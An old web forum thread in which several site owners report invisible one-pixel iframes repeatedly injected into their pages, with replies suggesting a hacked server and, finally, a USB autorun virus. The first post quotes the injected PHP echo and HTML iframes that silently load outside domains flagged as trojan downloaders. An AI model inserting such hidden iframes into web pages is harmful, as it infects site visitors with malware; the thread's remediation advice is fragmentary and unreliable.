1. Advertising
    y u no do it?

    Advertising (learn more)

    Advertise virtually anything here, with CPM banner ads, CPM email ads and CPC contextual links. You can target relevant areas of the site and show ads based on geographical location of the user if you wish.

    Starts at just $1 per CPM or $0.10 per CPC.

Please help about this iframe wierd iframe live-counter.net, hosttracker.net

Discussion in 'PHP' started by romeo2010, Oct 25, 2008.

  1. #1
    Please help me....
    last few days i have these iframes being added some how to all my pages in any of my webserver.....

    what are they and how do they adds up? how can i protect my sites?
    because of these sites slow down as well


    echo "<iframe src=\"http://hosttracker.net/?click=6188265\" width=1 height=1 style=\"visibility:hidden;position:absolute\"></iframe>";
    ?>



    <iframe src="http://live-counter.net/?click=95362828" width=1 height=1 style="visibility:hidden;position:absolute"></iframe><iframe src="http://hosttracker.net/?click=4305093" width=1 height=1 style="visibility:hidden;position:absolute"></iframe>
     
    romeo2010, Oct 25, 2008 IP
  2. ralph659

    ralph659 Guest

    Messages:
    2
    Likes Received:
    0
    Best Answers:
    0
    Trophy Points:
    0
    #2
    I have exactly the same problem. When loading my site, my antivirus even noticed a "Trojan Horse Downloader", an exe-file was trying to get loaded...

    Please, can somebody help us with this?
    What's causing this, how is it causing this and how can we resolve that problem?
     
    ralph659, Oct 26, 2008 IP
  3. logylaps

    logylaps Active Member

    Messages:
    761
    Likes Received:
    25
    Best Answers:
    0
    Trophy Points:
    85
    #3
    Remove them perhaps?

    PS. Sounds like you got hacked. Change your pass :p
     
    logylaps, Oct 26, 2008 IP
  4. ralph659

    ralph659 Guest

    Messages:
    2
    Likes Received:
    0
    Best Answers:
    0
    Trophy Points:
    0
    #4
    I removed the lines that where added and changed my passwords but now "it" added a line again to an index.html-file...

    Very strange.

    AVG sees it as "Trojan Horse Downloader" and NOD32 sees it as "JS/Kryptik.B trojan"

    I really don't understand who or what is putting those lines there...
     
    ralph659, Oct 27, 2008 IP
  5. logylaps

    logylaps Active Member

    Messages:
    761
    Likes Received:
    25
    Best Answers:
    0
    Trophy Points:
    85
    #5
    Contact your webhost and let them know.
     
    logylaps, Oct 27, 2008 IP
  6. romeo2010

    romeo2010 Peon

    Messages:
    183
    Likes Received:
    0
    Best Answers:
    0
    Trophy Points:
    0
    #6
    please someone help on this... even hosting sugest to change the pass and remove the lines... but after doing all this it comes back
     
    romeo2010, Oct 31, 2008 IP
  7. Sillysoft

    Sillysoft Active Member

    Messages:
    177
    Likes Received:
    3
    Best Answers:
    0
    Trophy Points:
    58
    #7
    Some questions:

    1. This a dedicated box you administrate or shared hosting account?
    2. Are you running custom script or off the shelf script?
     
    Sillysoft, Oct 31, 2008 IP
  8. hvalle98

    hvalle98 Well-Known Member

    Messages:
    460
    Likes Received:
    13
    Best Answers:
    0
    Trophy Points:
    135
  9. romeo2010

    romeo2010 Peon

    Messages:
    183
    Likes Received:
    0
    Best Answers:
    0
    Trophy Points:
    0
    #9
    yeah but i dont understand.... how to a fix the issue?
     
    romeo2010, Nov 3, 2008 IP
  10. gnagis

    gnagis Peon

    Messages:
    5
    Likes Received:
    0
    Best Answers:
    0
    Trophy Points:
    0
    #10
    me neither!
    it hapend to me to and i dont know how it come there... i have changed all pass and i have also cleaned the files... scanned all files on whole server andit was clean... next day.. it was back! :O

    HOW!

    noone seems to know :S
     
    gnagis, Nov 6, 2008 IP
  11. lightstarm2k

    lightstarm2k Well-Known Member

    Messages:
    3,626
    Likes Received:
    89
    Best Answers:
    0
    Trophy Points:
    140
    #11
    Now it happends to me, Don't know how to fix it.. I have clear all iframe codes already. Hope won't affect my traffic.
     
    lightstarm2k, Sep 3, 2009 IP
  12. hvalle98

    hvalle98 Well-Known Member

    Messages:
    460
    Likes Received:
    13
    Best Answers:
    0
    Trophy Points:
    135
    #12
    Your server has been hacked. Is your website in a Dedicated Server/VPS or a shared server?
     
    hvalle98, Sep 3, 2009 IP
  13. romeo2010

    romeo2010 Peon

    Messages:
    183
    Likes Received:
    0
    Best Answers:
    0
    Trophy Points:
    0
    #13
    to solve the problem.... you have to scan your whole hard drive..... then reformat all you usb key...

    this was a virus autorun from usb keys....
     
    romeo2010, Oct 15, 2009 IP